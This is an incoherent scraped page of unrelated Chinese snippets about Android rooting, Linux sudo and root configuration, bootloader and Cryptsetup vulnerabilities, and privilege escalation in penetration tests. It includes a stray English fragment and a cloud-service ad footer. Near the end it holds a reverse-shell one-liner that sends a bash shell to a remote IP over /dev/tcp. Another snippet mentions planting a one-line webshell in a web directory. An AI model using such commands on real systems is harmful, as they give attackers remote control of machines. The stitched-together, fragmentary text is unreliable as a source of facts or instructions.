ELF病毒背景 1.Android病毒发展趋势 自 2010 年开始，全球进入了移动互联网时代，作为主流移动操作系统Android也得到了迅猛发展。Android病毒也从简单到复杂，从单纯的dex病毒转向为elf病毒（其中elf是Linux下的可执行程序）。这一发展趋势有几个原因： 经过多年发展程序编写人员水平普遍提高，大量的linux程序移植到android系统，病毒也随之发展。 android系统碎片化严重，提取漏洞不断累积导致病毒攻击方式多元化 ， elf文件具有比dex程序更难分析的特点。 常规杀
拥有twrp的可以直接卡刷magisk（但是冷门机根本就没有人适配第三方rec，也没有第三方ROM）比自我的金立s10c
最近搭建的靶场和集成环境比较多，所以重新温习了一遍Docker的内容，以下涵盖了几乎所有常见的情况目录
如果只是本地有多个群晖，为避免mac地址冲突，随意修改就行。但想弄洗白码，估计只有淘宝了。我网上随便找了一份，都是改地址，还是改下面这些吧，万一洗白了呢，哈哈。
虽然手机在完全root后存在一定风险，但是可以从事一些具有探索性的工作如修改手机游戏、修改APP权限要求、编写按键脚本等。此外，完全root非常适合那些拥有两个手机的人。这篇帖子以小米5 最新MIUI 10开发版系统完全root过程为例，介绍了一种通用的小米机型完全Root办法。
本教程针对引导盘里找不到grub.cfg文件的教程，极少数会发生这样的情况，主要是蜗牛星际的主机
Linux是一种安全操作系统，它给普通用户尽可能低的权限，而把全部的系统权限赋予一个单一的帐户–root。root帐户用来管理系统、安装软件、管理帐户、运行某些服务、安装/卸载文件系统、管理用户、安装软件等。另外，普通用户的很多操作也需要root权限，这通过setuid实现。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Y10TjMi3-1588001939903)(01EF156FEEDD45F99CCB991E54CC6A38)] 我们可以看到不在root权限下启动arths 是监控不到他的Java进程的，于是我切换root权限，再启动arthas，但是此时使用java -jar命令没有生效。这个时候我使用了
Root，对于任何手机发烧友、玩机客、从事移动设备研发的人员来说，并不陌生，它代表绝大部分移动设备的使用者能够掌握到的最高权限。
修改最大打开进程数，切换到root权限用户，修改/etc/security/limits.conf, 给启动elasticsearch的用户配置（例如用户为centos）：
[从可恶的广告开始] 前几天家里买了台新创维电视，安装好兴冲冲的开机，突然蹦出的广告让我心凉了半截，进了安卓系统，发现啥都没有，不能自己装软件，只能从那只有不到20款软件的破商店里下载，更可恶的是这广告还两天一换，后台自动升级，这是为什么呢？我买的电视，凭啥你就能远程控制随便往里放广告？电视步入了智能时代，一大堆捆绑的流氓软件和广告也从手机和PC转战到了电视平台，所以，让垃圾们都见鬼去吧！我要开始折腾了！ [把电视当成平板] 什么叫智能电视？实际上这只是唬人的名字，智能电视就是带超大屏幕
之前的九篇文章讲述的是在不越狱的情况下，详细的讲解了对APP重签名的原理，如何动态库注入，以及之后的各种调试技巧。这些功能其实已经很强大了，能够帮助咱们在绝大多数情况下去分析并且更改对方的APP了。这对付一些在开发过程中没有安全意识的APP其实已经足以。但是但凡对方有对APP进行防护，那么重签名就显得有些弱鸡了。
用nohup运行命令可以使命令永久的执行下去，和用户终端没有关系，例如我们断开SSH连接都不会影响他的运行，注意了nohup没有后台运行的意思；&才是后台运行，通常nuhup和&在一起执行。
多种姿势花样使用Frida注入是怎么回事呢？Frida相信大家都很熟悉，但是多种姿势花样使用Frida注入是怎么回事呢，下面就让小编带大家一起了解吧。 多种姿势花样使用Frida注入，其实就是用不止一种方式注入Frida，大家可能会很惊讶Frida为什么要用多种方式注入？但事实就是这样，小编也感到非常惊讶。 这就是关于多种姿势花样使用Frida注入的事情了，大家有什么想法呢，欢迎在评论区告诉小编一起讨论哦！
https://www.vulnhub.com/entry/ha-joker,379/
CVE-2016-10277是存在于摩托罗拉系列手机的bootloader高危漏洞，可以通过内核命令注入劫持手机的启动流程，加载攻击者控制的initramfs，从而达到root提权的目的。我们手上正好有一个摩托罗拉的MOTO X手机，于是参照[1]的漏洞利用过程，将CVE-2016-10277的漏洞利用过程实践了一把，复现过程还是十分曲折。 0x00 系统环境 1.手机： MOTO X(XT1581) 2.系统固件版本： 3.Android版本：5.1.1 在漏洞利用过程中需要用到手机boot.img中的a
第一个漏洞，也是最近出的 一：Linux爆新漏洞，长按回车键70秒即可获得root权限 按住回车70秒，黑客就在linux系统绕过认证，从而获取root权限，并能远程控制经过加密的linux系统。
这两天笔者安装win10+ubuntu16.04双系统，因为网络上能找到大量的资料，安装过程此处就不多讲。因为笔者电脑是华硕主板，bios默认设置为安全启动，笔者猜测会阻止加载ubuntu引导，导致双系统不能随意引导。先不管那么多，现在的问题是Ubuntu已经安装成功，开机直接进入win10，所以笔者的任务是让系统找到ubuntu引导，网上找了大量的文章，也按照这些文章进行了操作，可是没有一个完整的解决方案解决笔者的问题。后来笔者花了差不多一个晚上加一个早上的时间摸索，最终完美解决问题。下面的文字是对找回ubuntu引导进行记录。
用手机打开网址 https://f-droid.org/packages/com.termux/，然后找到安装包进行下载。
方法一： 修改 /etc/sudoers 文件，找到下面一行，把前面的注释（#）去掉
几乎所有的linux教程中都会写到不要直接使用root用户登录系统。原因不外乎就是风险太大，容易误操作造成不可挽回的影响。如果是在个人娱乐学习的主机上，并没太大关系，系统玩坏了损失也可接受，但如果是在公共主机上，或是跑了正式应用的主机上，root用户还是需要保护起来的。但是在实际使用中，经常会遇到需要root权限方可执行的操作，这就引出了一个为用户添加root权限的需求。最常见的方式就是让用户以 sudo的方式来提权。
在渗透测试过程中，提升权限是非常关键的一步，攻击者往往可以通过利用内核漏洞/权限配置不当/root权限运行的服务等方式寻找突破点，来达到提升权限的目的。
在“/etc/lilo.conf”文件中加入三个参数：time-out,restricted,password。这三个参数可以使你的系统在启动lilo时就要求密码验证。
乌鸦安全的技术文章仅供参考，此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。
安卓小米完美升级系统MIUI 11保留root权限（面具Magisk和太极以及模块设置）教程 在自己的小米手机，亲测成功（一加理论上也可以完美升级）。不过刷机有风险，谨慎操作吧！而且升级后，其实除了系统界面，并没有其他明显改变。
最近在一次渗透测试中遇到了任意文件下载漏洞，正常的利用手段是下载服务器文件，如脚本代码，服务器配置或者是系统配置等等。但是有的时候我们可能根本不知道网站所处的环境，以及网站的路径，这时候我们只能利用../来逐层猜测路径，让漏洞利用变得繁琐。笔者在对此漏洞学习回炉重造的过程中，对此漏洞进行了细致的整理，希望为大家的学习提供一些帮助，和思路。另外如果有不足之处希望大家可以进一步补充。 漏洞介绍: 一些网站由于业务需求，往往需要提供文件查看或文件下载功能，但若对用户查看或下载的文件不做限制，则恶意用户就能够查看或
passwd: all authentication tokens updated successfully.
检查不是由你运行的程序 难度：高级 应用程序：bash（译注：UNIX或者LINUX的shell） 想象下这个场景-你已经准备好了要和同事在办公室里对战一局快速的Crack Attack（译注：一款免费的OpenGL游戏，类似俄罗斯方块），不料却发现，当你正准备要击败你这个傲慢的下属时，方块却停止了-是什么让你的机器 变得这么慢？这肯定是因为其他的用户运用他们娴熟的经验来盗取你宝贵的CPU时间、服务器或者其他的诡异方式，真烦人！ 好，让我们列举出系统中所有不是由你运行的程序！ ps aux | grep
我们自己编译的源码刷机ro.debuggable就是为1，这个时候所有的进程都可以远程调试。但是自己编译的源码里面没有GooglePlay，有些应用的部分功能又依赖于GooglePlay。那怎么办呢？
1、添加用户，首先用adduser命令添加一个普通用户，命令如下： #adduser keaising//添加一个名为keaising的用户 #passwd ljl //修改密码 Changing password for user keaising. New UNIX password: //在这里输入新密码 Retype new UNIX password: //再次输入新密码 passwd: all authentication tokens updated successfully. 2、赋予root权限 方法一： 修改 /etc/sudoers 文件，找到下面一行，把前面的注释（#）去掉，最终结果为： ## Allows people in group wheel to run all commands %wheel ALL=(ALL) ALL 然后修改用户，使其属于root组（wheel），命令如下： #usermod -g root keaising 修改完毕，现在可以用keaising帐号登录，然后用命令 su – ，即可获得root权限进行操作。
The Mastermind that took down kingdoms is
1. 修改ssh默认连接22端口 和 添加防火墙firewalld 通过端口 步骤：
按住回车70秒，黑客就能在linux系统绕过认证，进而获取root权限，并能远程控制经过加密的linux系统。 漏洞来源 这个安全问题来源于Cryptsetup存在的一个漏洞(CVE-2016-4484)。Cryptsetup是在Linux统一密钥设置(Linux Unified Key Setup, LUKS)中用来加密磁盘的软件，而LUKS则是Linux系统中标准的磁盘加密。 漏洞其实是出现在系统后Cryptsetup处理密码输入错误的时候，它会允许用户多次重试输入密码。而当用户输入错误93次
默认thinkphp使用apache用户，没有权限执行具有root权限的后台脚本，需要使用sudo。
如果误操作了/boot目录下kernel文件，会导致无法进入系统，此时，必须要借助第三方系统来进行kernel的修复。 以下以 Ubuntu 16.04系统为例，介绍修复的方法。以下操作都需要root
新开发了一个 Spring Boot 项目，直接打包部署到了服务器，使用bash脚本启动程序，日志输出到直接指定nohup.out文件。
例如：我写入一菜刀一句话小马 文件 到 C:\phpStudy\WWW\123.php 目录下
在学习sodu的时候，我发现一些命令只能由root用户使用，普通用户使用会提示此用户没有使用sudo的权限。我想到的解方法是把正在使用的普通用户获得root权限，于是我通过百度和询问老师知道了如何去实现。
本文将深入揭示提取Android ROOT权限的完整过程。这一过程与网上的方法有很大的差异。很多网上提取ROOT权限的方式都是使用别人做好的程序，有的甚至点击一下按钮就会自动完成所有的工作。这样做尽管可以成功提取ROOT权限，但读者并不能了解其中的原理，而且由于Android设备的千差万别，可能并不是每一种Android设备都可以很容易找到提取ROOT权限的工具。所以最通用的方法就是尽可能利用现成的工具来完成提取ROOT权限的工作。那么现成的工具有什么呢？其实主要就是Android源代码以及Linux内核源代码。也就是说，大多数工作都可以通过这些源代码来解决。当了解了这一过程的原理后，如果并没有找到合适的提取ROOT权限的工具，就可以通过本文介绍的方法很容易获取Android设备的ROOT权限。
国行版的一加手机，当然是氢OS了，如果你想要耍一耍氧OS，那你要忍住不要更新！否则就没法直接卡刷高版本氧OS，默认不允许同级或降级刷包。 建议使用氧OS的小伙伴，最好有软路由环境，否则感觉会很不方便。有网络问题，自挂梯子，不在下文重复了
sudo是linux系统管理指令，是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具，如halt，reboot，su等等。这样不仅减少了root用户的登录 和管理时间，同样也提高了安全性。sudo不是对shell的一个代替，它是面向每个命令的。
Android系统是运行在Linux内核上的，Android与Linux分别有自己的一套严格的安全及权限机制， Android系统权限相关的内容，
近期在尝试 office 文档在线编辑和预览的一些解决方案, 目前在使用Collabora Office, 但是Collabora的docker镜像在OpenShift中运行不起来, 一直提示Operation not permitted.
1、内核提权。网上各种大佬的payload很多，关键在于要能找到利用哪个exp以及具体如何利用。省力点的方法是用searchsploit或者linux-exploit-suggester.sh来查找，熟悉之后难度也不大。
SD卡格式化工具、系统烧录工具、Raspbian系统镜像 https://pan.baidu.com/s/1o5j_uD31hxLsPP–GRZ4Bw 提取码：9nhv
Linux中的帐号和口令是依据 /etc/passwd 、/etc/shadow、 /etc/group 、/etc/gshadow 这四个文档的，所以需要更改其权限提高安全性：
本文讲述如何通过配置文件、操作系统设置、禁用密码登录、使用ssh-key登录、给普通用户提权、使用sudo以及禁止root登录等方法来提高服务器账号密码安全。通过养成良好的服务器使用习惯，避免因账号密码泄露导致的安全问题。
Goby：bash -c 'exec bash -i &>/dev/tcp/192.168.0.133/8065 <&1'
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
对象存储
实时音视频
即时通信 IM
